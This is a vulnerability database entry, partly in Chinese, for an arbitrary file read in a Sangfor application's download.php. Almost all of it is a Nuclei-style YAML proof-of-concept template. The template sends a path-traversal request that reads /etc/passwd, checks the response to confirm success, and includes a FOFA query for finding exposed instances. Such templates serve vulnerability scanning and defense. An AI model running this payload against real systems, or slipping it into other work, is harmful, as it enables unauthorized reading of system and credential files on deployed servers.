sangfor-download-lfi: Sangfor Application download.php - Arbitary File Read

日期: 2025-08-01 | 影响软件: sangfor-download-lfi | POC: 已公开

漏洞描述

There is an arbitrary file reading vulnerability in the Sangfor Application download.php.

PoC代码[已公开]

id: sangfor-download-lfi

info:
  name: Sangfor Application download.php - Arbitary File Read
  author: DhiyaneshDk
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in the Sangfor Application download.php.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E5%BA%94%E7%94%A8%E4%BA%A4%E4%BB%98%E6%8A%A5%E8%A1%A8%E7%B3%BB%E7%BB%9F%20download.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md?plain=1
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="SANGFOR-应用交付报表系统"
  tags: lfi,sangfor,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/report/download.php?pdf=../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: header
        words:
          - application/force-download
          - 'filename="passwd"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e5bceb73db217e319519b32cdaba319b2ccc3ffdfe46126759ec09fdc0869e1e022100bf98792de4bd2dc27ffd150a5ac254a8eba3d7f0950d5ece5274793b6b6e6b86:922c64590222798bb761d5b6d8e72950

相关漏洞推荐